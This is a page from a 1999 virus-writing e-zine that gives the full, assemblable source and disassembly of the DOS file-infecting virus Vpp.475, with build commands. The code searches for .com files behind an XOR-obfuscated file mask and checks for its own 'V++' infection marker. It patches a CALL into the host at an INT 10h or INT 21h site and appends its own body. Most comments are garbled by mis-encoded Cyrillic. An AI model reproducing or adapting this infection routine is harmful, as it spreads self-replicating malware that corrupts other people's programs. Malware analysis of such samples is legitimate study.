- [Duke's Virus Labs #8] - [Page 10] -

Disasm of Vpp.475
(c) by CrkV

===== Cut here =====
; Vpp.475 ᥬ஢ 05.07.1999 (c) CrkV

;tasm vpp.asm /m
;tlink vpp.obj /t

; ⥪ ஬ ᭮ ਥ ᮤঠ:

;1) 樨  ⨬樨 ;-)), 稭騥  OPTI. ਬ OPTI-LEA,
;.. 䥪⨢ ࠧ   (Lea Dx,[Bp+1Eh]  1 ,
; ࠢ  Mov Dx,Bp, Add Dx,1Eh). 筮  ,   ४
;樮,     䥪⨢ ,  ।
;㪠   ;-)))

;2) ।०   訡 - Warning.

.model tiny
.code
.286
        Org     100h
Vpp:

Entry_Point:

;WARNING -  ᫨ Bp 㦭 ண ???

        Pop     Bp                      ;  
        Push    Bp                      ;堥   ⥪
        PushA                           ;࠭  ॣ
        Xchg    Bp,Ax                   ;Ax:=Bp

;WARNING -  , .. 室  䠩 ⢫ 
;ࠧ  祭 ॣ஢,  ⮬ ᫥ ᥣ,   !!!
;஬ ⮣   䫠 (- Cld),  ⠭
; ।ᬮ७ :-(((

        Call    $+3
My_Point:
        Pop     Bp                      ;Bp:=Offset My_Point
        Sub     Bp,Offset My_Point - Offset Entry_Point
        Cmp     Bp,100h                 ;室 ? OPTI- 모
        Jnz     @Restore_Byte

@Ok_Restore:
        Call    Get_Mask
        Mov     Ah,4Eh                  ;FindFirst
        Mov     Cx,0FEh
        Mov     Dx,Bp                   ;OPTI-LEA
        Add     Dx,Real_Mask

@Find_File:
        Int     21h
        Jc      @Exit                   ;室 䠩  

        Call    Check_File
        Mov     Ah,4Fh                  ;FindNext
        Jmp     @Find_File

@Exit:
        Mov     Si,Bp                   ;OPTI-Lea
        Add     Si,Save_DTA
        Mov     Dx,[Si]
        Mov     Ah,1Ah                  ;Set DTA
        Int     21h                     ;⠭ ணࠬ DTA
        PopA                            ;⠭ ॣ
        Xchg    Bp,Ax                   ;Ax:=Bp (࠭塞 Bp)
        Pop     Ax
        Cmp     Ax,00h
        Je      @Jmp_Return             ;室 (OPTI- 易⥫쭮)
        Sub     Ax,03h                  ;諨 १ Call

@Jmp_Return:
        Push    Ax
        Xchg    Bp,Ax                   ;Bp:=Ax (⠭ Bp)
        Ret                             ;室  

@Restore_Byte:

        Sub     Ax,3
        Mov     Si,Bp                   ;OPTI-Lea
        Add     Si,Var_Word2
        Mov     [Si],Ax
        Mov     Si,Ax
        Mov     Di,Bp                   ;Opti-Lea
        Add     Di,Save_Byte
        Xchg    Si,Di
        Mov     Cx,3                    ;OPTI-모
        Cld
        MovSW
        MovSB
        Mov     Ah,2Fh                  ;Get DTA
        Int     21h
        Mov     Si,Bp                   ;Opti-Lea
        Add     Si,Save_DTA
        Mov     [Si],Bx                 ;࠭塞 DTA (Warning)

;-  訡, ..   蠥  .COM ணࠬ ⠭
;DTA  ᥣ ⫨  PSP. ⮬  ࠭  ᥣ DTA

        Mov     Ah,1Ah                  ;Set DTA
        Mov     Dx,Bp                   ;Opti-Lea
        Add     Dx,New_DTA
        Int     21h                     ;⠭ ᢮ DTA
        Jmp     @Ok_Restore

;---------------------------------------
Check_File      Proc

        Mov     Ah,2Fh                  ;Get DTA
        Int     21h
        Xchg    Bx,Di                   ;Di:=Bx (Offset DTA)
        Mov     Ax,3D02h                ;Open File (./)
        Mov     Dx,Di                   ;Opti-Lea
        Add     Dx,1Eh                  ;   DTA
        Int     21h                     ;Warning

;  䠩  ஥ ;-))) ???

        Xchg    Bx,Ax                   ;Bx:=Ax (File Handle)
        Mov     Ax,4202h                ;LSeek file
        Mov     Cx,00h                  ;OPTI-SUB
        Mov     Dx,00h                  ;OTI-CWD
        Int     21h                     ; 室 Dx:Ax - ࠧ 䠩

        Cmp     Ax,0400h                ;1024
        Jle     @Not_Infected           ;䠩 
        Cmp     Ax,0C350h               ;50000 ( 祬  60000 ??? ;-))
        Jnb     @Not_Infected           ;    ;-))

;Warning - Dx ⮦   蠫 ஢.

        Mov     Si,Bp
        Add     Si,Save_Ofs
        Mov     [Si],Ax
        Sub     Ax,03h
        Xchg    Dx,Ax                   ;Dx:=Ax
        Mov     Ax,4200h
        Mov     Cx,0000h                ;OPTI-Lea
        Int     21h                     ;⠭ .   䠩 - 3
        Mov     Ah,3Fh                  ;Read File
        Mov     Dx,Bp                   ;Opti-Lea
        Add     Dx,Var_Word
        Push    Dx
        Mov     Cx,02h
        Int     21h                     ;⠥ 2 
        Pop     Si
        Mov     Ax,[Si]                 ;OPTI-LODSB
        Cmp     Ax,'+V'                 ;V+ - ⪠ 

;OPTI -  祬 3    ? (V+ ⮦ ᨢ ;-))

        Je      @Not_Infected           ; ࠦ

        Mov     Ax,4200h                ;Lseek File
        Xor     Cx,Cx                   ;⠭ 㪠⥫  砫
        Mov     Dx,Cx                   ;OPTI-Cwd
        Int     21h
        Call    Infect

@Not_Infected:
        Mov     Ah,3Eh                  ;Close File

Int21h  EQU     $ - Offset Entry_Point

;OPTI -    砫   졠 ??? ;-))

        Int     21h
        Ret
Check_File      EndP
;---------------------------------------
Infect  Proc
        PushA
        Mov     Dx,Bp
        Add     Dx,Buffer               ;OPTI-Lea
        Push    Dx
        Mov     Ah,3Fh                  ;Read File
        Mov     Cx,400h
        Push    Cx
        Int     21h                     ;뢠 1024 
        Pop     Cx
        Mov     Si,Bp                   ;OPTI-Lea
        Add     Si,Int10h
        Pop     Di
        Push    Bx
        Mov     Bx,02h                  ;OPTI-Mov Bl,2
        Call    Scan                    ;஢塞 稥 ᫮ 10CDh (Int 10h)
        Pop     Bx

;       Cmp     Di,0FFFFh               ;OPTI-Inc Di
        Cmp     Di,1234h                ;Tasm  ⨬ ;-))
        Org     $ - 2                   ; ᮢ⨬ 
        dw      0FFFFh

        Je      @Scan_CD21h             ; 諨 饬 21CDh
        Sub     Di,Buffer
        Sub     Di,Bp
        Call    Cont_Infect             ; ࠦ

@Exit_Infect:
        PopA
        Ret

@Scan_CD21h:
        Mov     Di,Bp                   ;OPTI-Lea
        Add     Di,Buffer
        Mov     Si,Bp
        Add     Si,Int21h               ;OPTI-Lea
        Push    Bx
        Mov     Bx,02h                  ;OPTI-Mov Bl,02h
        Call    Scan
        Pop     Bx

;       Cmp     Di,0FFFFh               ;OPTI-Inc Di
        Cmp     Di,1234h                ;Tasm  ⨬ ;-))
        Org     $ - 2                   ; ᮢ⨬ 
        dw      0FFFFh

        Je      @Exit_Infect            ;   21CDh, ਤ ⢠
        Sub     Di,Buffer
        Sub     Di,Bp
        Call    Cont_Infect             ; ࠦ
        Jmp     @Exit_Infect

;OPTI -    ᮪ 祭  10CDh

Infect  EndP
;---------------------------------------

Int10h  EQU     $ - Offset Entry_Point
        Int     10h
;---------------------------------------
Cont_Infect     Proc
        Mov     Ax,4200h                ;Lseek File
        Sub     Cx,Cx
        Mov     Dx,Di                   ; 㤥 室  ⥫ 
        Int     21h
        Mov     Si,Bp                   ;OPTI-Lea
        Add     Si,Save_Ofs
        Mov     Ax,[Si]
        Sub     Ax,Di
        Sub     Ax,3                    ;塞 ᬥ饭  Call 
        Mov     Si,Bp                   ;OPTI-Lea
        Add     Si,Save_Byte
        Mov     Byte Ptr [Si],0E8h      ;Call Entry_Point
        Mov     [Si+01h],Ax
        Xchg    Si,Dx                   ;Dx:=Si
        Mov     Ah,40h                  ;Write File
        Mov     Cx,03h
        Int     21h                     ;ᠫ  室
        Mov     Ax,4202h                ;Lseek File
        Sub     Dx,Dx                   ;Opti-Cwd
        Mov     Cx,Dx
        Int     21h                     ;諨   䠩
        Mov     Si,Bp                   ;Opti Lea
        Add     Si,Buffer
        Add     Si,Di
        Mov     Di,Bp                   ;OPTI-Lea
        Add     Di,Save_Byte
        Mov     Cx,03h                  ;OPTI- MovSW, MovSB
        Rep     MovSB
        Mov     Dx,Bp
        Mov     Cx,Vir_Lenght
        Mov     Ah,40h                  ;Write_File
        Int     21h                     ;ᠫ 
        Ret
Cont_Infect     EndP
;---------------------------------------
Scan    Proc
        Push    Ax
        Push    Bx
        Push    Cx
        Push    Dx
        Cld
        Mov     Al,[Si]                 ;0CDh

@Next_Scan:
        Repne   ScaSB
        Jz      @Ok_Scan
        Mov     Di,0FFFFh
        Jmp     @Exit_Scan

@Ok_Scan:
        Push    Cx
        Push    Di
        Push    Si
        Mov     Cx,Bx
        Dec     Di
        Rep     CmpSB
        Je      @Find_Scan
        Pop     Si
        Pop     Di
        Pop     Cx
        Jmp     @Next_Scan

@Find_Scan:
        Pop     Si
        Pop     Di
        Dec     Di
        Pop     Cx

@Exit_Scan:
        Pop     Dx
        Pop     Cx
        Pop     Bx
        Pop     Ax
        Ret
Scan    EndP
;---------------------------------------
Get_Mask        Proc
        PushA
        Mov     Si,Bp                   ;OPTI-Lea
        Add     Si,Mask_Com
        Mov     Di,Bp                   ;OPTI-Lea
        Add     Di,Real_Mask
        Mov     Cx,02h
@Next:  LodSB
        Xor     Al,'V'
        StoSB
        LodSB                           ;OPTI-LodSW ...
        Xor     Al,'+'
        StoSB
        LodSB
        Xor     Al,'+'
        StoSB
        Loop    @Next
        PopA
        Ret
Get_Mask        EndP
;---------------------------------------
Mask_Com        EQU     $ - Offset Entry_Point

        db      '*' Xor 'V'
        db      '.' Xor '+'
        db      'c' Xor '+'
        db      'o' Xor 'V'
        db      'm' Xor '+'
        db      00h Xor '+'

Save_Ofs        EQU     $ - Offset Entry_Point
        dw      ?
Save_Dta        EQU     $ - Offset Entry_Point
        dw      ?
Save_Byte       EQU     $ - Offset Entry_Point
        db      3       Dup (?)
Var_Word        EQU     $ - Offset Entry_Point
        dw      ?
StrVpp  db      'V++'

Vir_Lenght      EQU     $ - Offset Entry_Point  ;1DBh
;---------------------------------------
Var_Word2       EQU     $ - Offset Entry_Point
        dw      ?
Real_Mask       EQU     $ - Offset Entry_Point
        db      12h     Dup (?)
New_DTA         EQU     $ - Offset Entry_Point

Buffer  EQU     Vir_Lenght + 100h
;---------------------------------------
        End     Vpp
===== Cut here =====
